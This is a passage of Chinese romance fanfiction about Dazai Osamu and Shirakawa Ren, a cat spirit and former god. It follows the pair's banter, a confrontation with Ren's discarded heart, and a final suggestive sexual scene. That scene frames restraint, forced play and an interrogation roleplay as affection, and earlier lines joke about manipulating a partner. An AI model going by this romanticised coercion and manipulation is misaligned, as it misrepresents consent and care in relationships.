这一刻,太宰治莫名有些别扭地侧了侧头,既没有直视白川莲的眼睛,却
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又没有躲开白川莲的亲吻。
“……太幼稚了。”
绵长柔和的亲吻结束后,太宰治小声说着似乎是抱怨的话。
“连亲人都这么小学生,果然是个笨猫。”
白川莲:“……”
好的,知道你已经很不好意思了。
还抱怨猫“幼稚”、“小学生”。
连这种话都会不好意思的人,才是真正的小学生吧!
打打闹闹中,半个小时的时间很快过去了。
而等人类终于被猫捋顺了毛后,人类重新露出了笑来,眼睛也亮晶晶的,拽着白川莲的衣服,对白川莲旧事重提:“好了,莲,这次总该醒了吧?醒了就快跟我出门!”
还没忘记这事啊?
白川莲被这个人类的执着程度惊到了,小声说道:“治君这么黏我吗?我又不会偷偷跑掉,怎么每天上班都要带上我?”
真是奇怪。
白川莲想。
明明记得,很久以前好像有某人说过,他的性格就是这么冷淡古怪的,无论猫再做什么,人喜欢猫的程度也就是那样,不会变得更可爱更黏猫的。
可现在再看,这明明就是非常黏猫、并且越来越黏猫的性格嘛!
人类有些羞恼,也不知道有没有看出白川莲心里的嘀咕,只用力揉着白川莲的脸,满腹怨气地说道:“什么‘上班’?我昨天说的你都忘记了吗?!”
猫努力回想……但抱歉,想不起来。
只有满脑袋的颜色废料。
太宰治的怨气更重了,两手按住白川莲的脸,一字一顿道:“今天要去神社!你忘了吗?!”
白川莲吃了一惊:什么?去神社?他吗?!
虽然他现在已经不算神明了……但说真的,这样的他突然跑去别的神灵的地盘,真的不算是去砸场子的吗?
白川莲不由问道:“我们要去哪个神社?”
太宰治微微一笑:“白川神社。”
这一瞬间,不知道为什么,白川莲突然哑口无言。
25.025 无心
——我们要去哪个神社?
——白川神社。
当听到以上回应时,白川莲的第一反应是:
糟糕,完蛋了!
这完全是白川莲下意识的想法,甚至就连白川莲自己都不知道这样的想法从何而来。
白川莲第一时间为自己的这份异常情绪进行了分析:
难道,他是为了自己神社的衰败现状而感到羞愧、不想要让自己的人类恋人看到自己如此失败的一面,才感到紧张的吗?
但这样的想法也太后知后觉了吧!
因为,很显然的,在太宰治这个狡猾人类大摇大摆闯入猫的神社,并好整以暇地坐在猫的卧室里蹲守猫的苏醒后,以这个人类的惯常习性,他必然是早已经把猫的神社上上下下里里外外都翻过一遍了!
所以,对如今这个人类来说,他想要再去白川神社,不过是重回犯罪现场罢了。
白川莲现在才对这件事生出紧张来,也未免太迟了吧!
可是……
可是,如果他不是为了自己神社的衰败现状感到羞愧,如果他不是雄性的本能作祟、让他不愿意在自己的恋人面前展露自己超失败的巢穴……那他的紧张,到底是从何而来?
白川莲不明白。
他只是下意识地紧张,又下意识地遮掩,并下意识地拖延人类重回“犯罪现场”的脚步。
“治君,你老是这样翘班没关系吗?”白川莲故作关心,“老是把自己的工作甩给别人可不是一个好习惯,要好好处理自己的同事关系才行啊,可千万不要像之前跟中也君的相处那样,整天都在吵闹呀。”
白川莲是一只狡猾的心机猫。
猫深知自己的人类恋人有超强的妒忌心,连称呼这样的小事都会吃醋炸毛,特别是当这个称呼还与他的死对头中原中也密切相关的时候。
因此,白川莲刻意提到了某个人,并且刻意使用了非常亲近的“中也君”这样的称呼。
——哪怕事后人类恋人会超生气、会变得超难哄,但至少先转移一下人的注意力,让猫度过这一关再说吧!
可是,出乎意料的是,明明曾经当人和猫还不是恋人的时候,只要白川莲对别人的称呼稍稍亲近一些,人类都会为这件事暗暗生气。
可如今的太宰治反而完全没有把这件事放在心上,只是轻瞥他一眼,就轻易看穿了猫的小心机。
“就这么想要拖延时间吗,莲?看来你的神社里是真的藏了不得了的东西呢,是什么重要之物吗?是比我更重要的人、更重要的事物吗?”
白川莲还没来得及困惑自己人类恋人的妒忌心哪儿去了,就被人类的反将一军敲晕了头。
他瞪圆了眼睛,不可置信又委屈万分地喵喵了起来:“什么‘藏了不得了的东西’,你是在说我藏着别人的恋人吗?好过分,你明明知道我最喜欢的就是你了!”
人类的呼吸一滞,目光转开了一瞬间。
而当他再将目光转回来时,他的表情如常,看似无动于衷,但眸光柔软极了,像是落满了星星的闪光。
“那为什么这么不想要我去你的神社呢,莲?”人类应该是想要继续逼问的,趁着白川莲情绪波动的这一瞬间。
人类总是很擅长这个。
可是,或许连人类自己都没有注意到,他的声音和他的目光一样柔软,与其说是逼问、是诱导,不如说是恳求。
“是因为有什么事不能让我知道吗?是因为有什么事不想让我了解吗?”
太宰治直视着白川莲的眼睛,柔软地恳求他。
“莲,你说过的吧……只要我问你,你就会回答我,对不对?”
白川莲喃喃:“可是……”
太宰治:“所以,你会回答我的吧?”
白川莲张了张嘴。
太宰治站在了白川莲面前,第一次没有拽着白川莲的衣领、逼迫白川莲低头,而是仰起头来,柔和地在白川莲唇角亲了亲。
“你会回答我的,对吧?”
白川莲闭上了眼,深深叹息:“治君……你不该去的,你……虽然我不知道你在寻找什么,我也不知道你为什么要这样执着追寻,可是我知道的是,哪怕你找到了答案,你也不会开心的。”
太宰治追问:“为什么?”
白川莲沉默了瞬间后,轻轻睁开眼。
阳光下,那双黄澄澄的眼睛剔透极了,竟如同一种纯白。
“我忘了。”
许久,白川莲说。
“我忘记了,但是……”
太宰治:“但是?”
“但是,我总觉得,你可能会很难过……”白川莲柔和说着,指尖轻轻按在人类柔软的面颊上,温柔拂过,“所以,治君,不要再去寻找了,好不好?”
“我不想要你难过。”
·
猫的真情告白连半天时间都没能拖延。
那个狡猾人类表现得像是很感动的样子,转身乖乖出门,说是好好上班去了。
可当猫回过神来,察觉人类实在乖巧安分过分,狐疑跑去人类的工作地点“探班”时,猫才震惊发现,那个人类根本就没来过!
他翘班翘得好彻底!
他甚至把猫都丢下了!!
白川莲瞬间炸毛,近乎头晕目眩:天啊,世上怎么会有这样冷酷这样过分这样油盐不进的人类啊?!
你的心是石头做的吗?
猫都那样对你撒娇了,还那么对你真情告白了,你都不感动的吗?
你甚至都不能彻底安静下来哪怕一天!
抱着对混账人类的气愤和担忧,白川莲瞬间化做了原形,露出了他的本体——一只直立起来足有五十米高的九尾猫妖!
这一刻,周围的人群发出一阵惶恐惊呼,就好像白川莲身上那让人类过目即忘的淡薄存在感突然变得浓烈了起来。
白川莲知道,这是因为自己与现世之人重新缔结了缘分。
所以白川莲也很明白,在这个满是监控器与摄像头的末法时代,他最不应该做的就是暴露自己。
可到了这个地步,白川莲实在顾不得这些麻烦与混乱了。
他跃上天空,四足生出云来,向着自己的神社方向踏云而去,短短不到三分钟的时间,就越过了大半个横滨,抵达了现世与常世的交界处。
可就在白川莲降落后,在他即将开启常世通道的前一秒,一个出乎意料的人拦住了他。
——是那个老是在横滨截住他、对他唧唧歪歪一些无聊话的无名神!
白川莲怒道:“让开!我现在没时间跟你——”
“别着急,神社里没人。”无名神的声音慢悠悠的。
白川莲的动作凝固了。
他的眼瞳缓缓转动,森然看向无名神,黄澄澄的眼里闪烁着近乎恐怖的危险感。
“你知道了什么?”
无名神笑了起来,甚至举起了双手,向白川莲做出了投降的姿态。
“哎呀哎呀,不要露出那么可怕的表情嘛,我可什么都没做哦,只是单纯切断了白川神社和现世之间的联系而已。如今啊,别说是那个在附近徘徊的人类了,哪怕是你自己,恐怕也轻易进不去了哦。”
无名神的声音轻佻散漫,带着不同寻常的底气。
而祂话语中的涵义,更是让白川莲心下一沉。
竟然能够越过他这个神社的主人,直接切断神社与现世的联系?
这种事是能够这样轻易地做到的吗?
这家伙到底是谁?!
这一刻,白川莲终于真正看向了这个时常来跟他搭话的无名神。
白川莲其实是第一次如此仔细地观察这个家伙。
于是白川莲也终于发现,这个无名神的面容明明陌生至极,却又感觉好像在哪里见过,一边让白川莲感到厌恶危险的同时,却又让白川莲感到亲近无二。
白川莲心中的警惕拉到了最高点,下意识摸向自己的腰间。
但他摸了一个空。
白川莲一愣。
下一秒,对面的无名神就笑眯眯拿出了一把让白川莲十分眼熟的刀,在他面前晃来晃去。
“我想,你大概是在找这个?”
白川莲一惊:不对!什么时候……等等?!
白川莲愕然抬头,看向面前的无名神。
能够切断神社与现世的联系,甚至能够取用他的随身佩刀……这家伙,根本不是什么“无名神”!
“你是谁?你、难道你是——”
“终于反应过来了吗?”无名神对着白川莲摇头叹气,“我本来还以为你会更早一些认出我的……真是让我失望啊,白川,看来你忘记的东西比我想象得更多。
“也对,神代早已经结束了,而曾经的白川之主,现在也只是一只苟延残喘的猫妖而已。为了活下去,你只能不停不停地抛弃自己的重要之物。神社也好,信徒也好,甚至是自己的记忆也是,只要能活下去,有什么东西是不能抛弃的呢?
“真是丑陋啊,白川,这样的你,这么多年来,到底都在挣扎坚持些什么呢?明明你已经什么都忘记了,不是吗?”
不满这家伙的语气,也可能是早就习惯了跟这家伙争锋相对,白川莲下意识回道:“我并没有什么都忘了。”
无名神举起手里的刀:“那你告诉我它叫什么。”
白川莲张嘴,一个含糊的名字明明已经到了嘴边,却怎么都说不出来。
无名神:“让我猜猜——[天生牙],你想说的是这个名字吗?”
白川莲皱眉,没有回答。
无名神又笑了:“看来的确如此……但很可惜,这个名字是错误的,因为这把刀的名字,叫[神渡]。”
什么?神渡?!
不是[天生牙],而是[神渡]?
怎么可能?
他的刀……怎么可能叫[神渡]?明明……明明[神渡]这把刀早就、早就——
这一瞬间,白川莲的心跳骤然失控。
那些遥远得让白川莲以为早已经被时间磨平的记忆,在这一刻像是挟着风霜,甚至是挟着风雷,卷土重来!
在一阵耳鸣般的嗡鸣声中,白川莲头痛欲裂。
但他却伸手捂住了自己的胸口。
因为他感到,这一刻有什么东西正用力捏紧了他的心脏,又冷酷地抽离了他周身的空气,以致于他心痛欲裂,甚至连呼吸都变得困难起来。
“啊呀,看来你终于想起来了。”
明明脚步声在靠近,落在白川莲的耳中却变得遥远。
就连对方的声音,也在耳鸣声中忽远忽近。
“那一天,手持三柄天下霸道之剑的主人斗牙王,路过白川,前来拜访你这位白川之主,而当时在场的,还有那个被你迷恋的人类。
“你第一时间就注意到,你的人类恋人对斗牙王的三把天下霸道之剑很感兴趣,特别是[天生牙]这把剑,他好像真的非常感兴趣。
“你知道,你的人类恋人向来不是一个省心的人,你也知道,他想要的东西总是会想办法得到,你更知道,他喜欢的东西很少,所以只要他想要的,你都会送到他的手上。
“所以,在他这一次的离去前,你与他做了约定,你说,等到他下次回来的时候,会送给他一份礼物,你还说,这会是你送给他的第一份礼物,是很重要的东西,所以你会等他,一直等他。
“是啊,一份礼物。你早已经做下了决定——你将那把代表着你神道的刀[神渡],送给了斗牙王,换来了一把对你毫无用处的刀,[天生牙],并且准备将它当作你送给你恋人的礼物!
“多么可爱的恋人啊,多么雀跃的爱意呀……白川莲,那时候的你,必然是满心期待的吧?你一定幻想过你的恋人在收到这份礼物后,会露出怎样的惊喜表情吧?你应该还幻想过,这份送出的礼物会不会让他更信任你一些、更爱你一些、对你更坦诚一些。”
终于,脚步声在白川莲面前停下了。
冷汗与热汗混杂在一块儿,从白川
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莲的额角滚落,渗入了他的眼睛里。
他死死盯着面前的这个“无名神”,可对方明明近在咫尺,他却无论如何都看不清那张脸——
那张似是而非的、清晰又模糊的脸!
“但是,那个与你约定好了‘下次再见’的人类,没有来赴约。他消失了,就和他来时那样突然,一句话都没有留下。
“在他离开的第一个十年里,你在等他。你认为,他可能只是被什么事绊住了脚步,所以才没能及时回到你的身边,但没有关系,你的生命很长,你有足够的时间等他。
“在他离开的第五个十年里,所有人都告诉你他不会再回来了,因为人类的寿命没有这样长,他一定是早就死了。但你不愿意相信,你想,他一定是迷失在了错误的时间里,但没关系,他会回来的,因为他答应过你,他一定会回来。
“而在他离开的第十个十年里,你终于醒了。你终于明白,那个人类再也不会回来了,然后……然后啊——白川,你记得你做了什么吗?”
“无名神”拔刀,指向了白川莲的胸口。
[神渡]的刀锋暴露在了阳光下。
但它的刀锋并不是白川莲记忆中的锋锐无匹,而是残破无光,锈迹斑斑,一如白川莲那一段失败且半途而废的神道之路。
白川莲强忍着胸口钻心的痛楚,伸手握住这把刀,艰难开口。
但他却并不是在为了自己而辩白,而是为了那个人类:“他不是……故意的……”
那个人类,并不是故意丢下了猫。
他只是没有办法再回来。
他们的缘分从最开始就是错位的,他们的相遇最开始就源于一场时间的诡计。
所以当时间的诡计结束后,他们的生命便又像是两条交错的河流一样,奔向了不同的方向,直到五百年后,才重新交汇。
这是谁都没有办法的事。
而人类其实也很害怕的。
白川莲知道,当人类找到他的神社,在等待他醒来的那段时间里,他的人类恋人一定是非常害怕的。
他会害怕这么多年过去后,那段戛然而止的爱情再也维系不上,像是烟火一样在最绚烂的时候消散。
他还会害怕他好不容易决心想要抓住的重要之物,却因那可悲可笑的命运而化作细沙,无论他如何紧握,也无法挽回。
这一切的一切,都是时间的捉弄。
所以,不是人类的错。
如果真的有什么错了,那必然是命运、是时间、是所有无法抵御无法反抗的一切!
白川莲想要这样告诉“无名神”的。
但“无名神”显然并不想听这些烦人的辩解。
“直到现在还在为那个人类说话,真是冥顽不灵啊,白川。”
“无名神”手持着锈迹斑斑的[神渡],向前一递,轻而易举地刺穿了白川莲阻拦的手掌,刺进了他的胸膛。
可当[神渡]穿胸而过后,白川莲的胸口竟只渗出了微乎其微的血迹。
因为——
“白川莲,不要摆出这种丑陋的嘴脸,不要装作你好像真的多么深爱那个人类一样。爱?可笑!”
“无名神”轻笑着,轻蔑着。
“明明只是按照惯性去伪装,明明是一个连自己[心]都丢掉了的妖魔……这样的你,怎么可能懂得‘爱’?还是说你装得太逼真后,把自己都骗过去了,连你自己都忘了你做过什么了?!
“在你等待那个人类的第一百年,你做了什么——需要我帮你好好回想吗?”
白川莲下意识握紧了手里的[神渡],鲜血从指缝溢出,一滴滴砸落在地。
回想?
不,事到如今,他还有什么想不起来的呢?
四百年前,也就是在猫妖守在白川旁等待恋人的第一百年,他终于明白,那个与他约定了的人类不会再回来了。
当明白这件事的瞬间,白川莲是恨那个人类的。
他恨那个人类为什么无法与他相守还要闯入他的生命,为什么无法遵守约定还要与他发下誓言。
明明约定好了的,为什么不回来?
为什么不回来?
白川莲恨他。
但是,舍不得一直恨他。
于是白川莲做下了第二个决定:
“我恨他……是因为我爱他、并且期待这份爱能得到回报……可是……这是不对的……”
是他选择了去爱那个人类,没有受到任何外力的逼迫。
是他决心要用爱去填满那个人类,没有受到任何外来的诱导。
爱应该是发自灵魂的震颤,而非是渴望得到回报的期待。
所以,决定要爱人类的他,也要为这份爱负全部责任,要在爱走入歧途前,将它纠正!
于是,白川莲用刀剖开了自己的胸膛,丢弃了自己的心,也丢弃了自己对人类的恨与期待。
“我对人类没有期待。”
并不是失望透顶后,被磨灭了期待。
而是因为爱是纯粹无暇、不求回报、不含期待的。
就像他爱那个人类,不求任何回报。
他爱他,就是爱他,只想爱他。
仅此而已。
·
这一刻,越发模糊的视线里,白川莲终于看清了“无名神”的脸。
正是属于“白川莲”的脸!
因为对方正是四百年前被白川莲丢弃的[心],是盛满了白川莲所有期待、渴望、爱意、怨恨、眷恋和妒忌的[心]。
虚弱感如海啸席卷。
在心脏被揉碎一样的剧痛中,白川莲不知不觉半跪了下去,头颅沉沉低垂,呼吸声也越发沉重急促,如同即将窒息。
可他依然勉力坚持着,努力抬头,看向自己的[心],嘴唇嗫嚅,像是努力说着什么。
[心]低下头去,侧耳去听,仔细分辨白川莲的声音。
“别……别恨他。”
白川莲说。
“别伤害他……”
26.026 哄猫
在打开家门前,太宰治心里已经对自己会惹白川莲生气炸毛的事拉出了一张表单,并自认自己已经做好了充足的心理准备来面对接下来的狂风暴雨。
猫虽傻,但挠人的时候还是很凶的。
所以,得哄。
但是,还不能哄得太着痕迹了,否则以后就不好拿捏和PUA猫了,得先装作什么都不知道。
猫不问,他不提,猫一问,他震惊。
先拉扯一番,再倒打一耙,最后BALABAL,BALABALA……
超邪恶之猫饲主在心里预演了无数种应付猫的流程,自认对接下来发生的事哪怕称不上了然于胸,也必然是轻车熟路。
可接下来发生的事,却让邪恶猫饲主的脑袋当场宕机,一身超凡本领再无无用武之地!
因为,猫,不,因为白川莲他……他裂开了!
事情是这样的。
当太宰治回到家打开门后,他第一眼就看到了客厅里直挺挺躺在榻榻米上如同一条猫毯的大白猫。
这时,夕阳的昏黄正从窗外斜落,在猫轻盈的毛发尖上轻跃着。
那些光,就像是被捏碎的金辉从空中洒落,飘散在了湖泊的粼粼波光上,以致于地上那瘫成猫毯的姿势都显得神圣无暇起来,像是被渡了一层灿烂的金身。
圣洁,且遥远。
于是太宰治二话不说,先是用力揉碎了这层金光,把猫从猫毯撸成蒲公英后,再用手指在猫毯的肚子上轻轻一捏,冷酷道:“莲,你吃胖了——这几年里有好好运动吗?”
嘻嘻,这回该生气了吧?
在太宰治的预想中,一直觉得自己超英俊美丽的猫,在被他指责“胖了”之后,一定会第一时间坐起来,捏着猫猫拳给他这个出言不逊的人类邦邦来上两拳。
之后,猫会持续地喵呜喵,直到太宰治低头承认是他以人类之心度猫咪之腹、承认猫猫莲绝对是世界上最英俊漂亮完美的猫咪后,白川莲才会大发慈悲地变回人形,再开开心心地过来亲他。
并且,有50%的概率忘掉他白天被人类放了鸽子这件事。
——没办法,猫就是这么又笨又好哄的。
先把猫逆毛撸炸毛,再好声好气地顺毛安抚回来,这一直是太宰治的恶劣小爱好。
可这一次,出乎太宰治预料的是,莲这只笨猫竟然没有喵的一生炸毛,而是睁开眼,静静看他。
在那双黄澄澄的猫瞳里,就像是蕴着一汪深湖,将所有的危险也好美丽也好,全都深藏其中,不露分毫。
太宰治一怔,几乎没能想起这个陌生又熟悉的眼神究竟在哪儿见过。
而下一秒,当太宰治终于记起,当初他年少无知时,曾在满月夜里三次擅闯白川神社的本殿,并在神台上见到了那个端坐的神明,和被神明分割出来的……
等等?!
不会吧?
满月夜不是已经过了吗?
怎么又来?!!
太宰治倒吸一口气,起身就要跑路。
可下一秒,一条漆黑的、长长的、不知从哪儿浮出来的尾巴,就轻轻缠上了太宰治的腰。
太宰治瞬间被定在了原地。
就像是十八岁那年那样,被无形的力量蛮横定在原地。
不容逃跑,不容拒绝。
太宰治颤抖了起来。
明明已经很熟悉了,明明……所有能做的不能做的都做过了。
可是,当身后的温度覆上,将太宰治抱紧,下巴撒娇般地搁在太宰治肩上时,太宰治依然像是十八岁时那样头晕目眩,昏头涨脑,像是要被猫的温度给融化了。
好没有出息。
好丢脸。
可是,没有办法。
因为这家伙真的——太乱来了!
“治君,你好像很激动呢。”
明明身后的家伙的尾巴全都缠了上来,偷偷从他的袖口和衣摆溜了进去,将他身上的绷带一条一条扯掉了,还不知羞耻地越缠越紧,但他这会儿却还在故作无辜、装模作样。
“心跳得很快哦,身体温度也很高……是想到了什么坏事吗?”
太宰治:你说呢?!
太宰治小声抱怨着:“不准再玩这种把戏……总是不让我自己动,我又不会跑掉!”
“真的吗?”
背后的温度蓦然施力,有些粗鲁地将太宰治按在了门上,幽幽说道:
“可是治君刚刚在发现我的时候,第一反应明明就是想要逃跑啊……怎么了?是害怕在这里跟我偷情会被你回家的丈夫发现吗?”
一层薄薄的门板之外,就是街道与行人。
当太宰治被按在门上,感到自己衣服下有一条条冒昧又任性的尾巴在恶劣地游曳时,太宰治甚至能清晰听到门外车辆行驶的声音,还有行人的谈笑声。
糟糕,今天是哪个play?
有点分不清了。
空气的温度越来越高。
身后的恶猫也似乎不再满足于用尾巴撩拨他。
身体与心灵上的双重刺激让太宰治的呼吸都开始发抖,不知不觉渗出了汗来,而当恶猫的手指轻轻摩挲他的嘴唇,可那些尾巴却在持续向下时,太宰治吓了一跳,立即软声求饶道:“别……莲,我半年多没做过了。”
所以轻点,禁不起你这样玩的!
那个变色的猫妖显然不太相信:“昨晚难道不算吗?”
“可我更喜欢你温柔一点……”太宰治为了保住自己的一条猫命,几乎是火力全开地向身后的恶猫撒娇,“强制这种玩一两次就已经够了吧!还是说莲你不喜欢我更配合你一些吗?”
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如果不是不能动,这一刻的太宰治几乎想要整个人都贴在恶猫身上腻来腻去地撒娇。
而会让太宰治表现得这样如临大敌,实在是这恶猫在当年第三个满月夜的表现让太宰治过分难忘。
白川莲作为踏上神道之路的猫妖,他有截然不同的两面,即“神面”与“妖面”。
每到满月的夜晚,就是白川莲妖面最躁动不安、各种欲望抵达顶峰的时候。
所以每一次,白川莲都会将自己的妖面切割出去,再以自己神的那一面对峙、镇压自己的另一面。
这也是当初白川神社的人和猫都会说“本殿很可怕”的原因。
可偏偏,热爱作死的太宰治就喜欢在这些危险地方溜达。
于是第一个满月夜,太宰治就迎面撞上了白川莲的妖面,并在神面的注视下,被妖面狠狠戏弄了一把。
非常可恶。
但,却不是“最”可恶的。
因为接下来的第三个满月夜,甚至是第四个满月夜,第五个、第六个、第无数个满月夜,都是只有“更”可恶,没有“最”可恶。
虽然太宰治完全不明白明明满月夜在昨天,怎么白川莲的“后遗症”却今天才出现,但,总之,九条尾巴真的不行,人兽也不行,两个“白川莲”一起,也不行!
所以,非常难得的,这一次的太宰治,是真的很努力在自救。
“我会很配合你的,我不会叫人的……”
他回头,轻轻咬唇,露出了隐忍又屈辱的表情,就连声音都细细颤抖哽咽,可偏偏他看过来的眼神却像是带着钩子。
“只要不让我的丈夫知道这件事,无论你对我做什么都可以。”
“……真的吗?”身后,那只变色的恶猫越发靠近,眼里像是闪烁着古怪而危险的光,“真的什么都可以?”
太宰治蓦然头皮微微发麻,心脏嗵嗵狂跳,脑中有某种不好的预感疯狂叫嚣。
而下一秒,预感成真。
“我记得,太宰先生似乎曾经是港口mafia最年轻最残酷的干部,也是最懂得如同逼供敌人、让敌人吐露情报的人呢……”
恶猫不知道什么时候变换了称呼。
明明五百多年来一直都是个无业游猫,这一刻却不知道怎么的,将mafia的气息拿捏得格外妥帖。
“只不过,对逼供这件事,我也稍有自己的一点心得,所以,既然如今时机这样凑巧,那正好请太宰先生指教一下。”
细微的摩擦声响起。
先是皮带被解开,紧接着是衣物落地的声音。
“让我看看太宰先生忍耐的极限吧。”
“什、不行!不行不行!我早就辞职了,我才不……唔!混蛋猫……”
“太宰干部,一定要尽最大的努力哦。”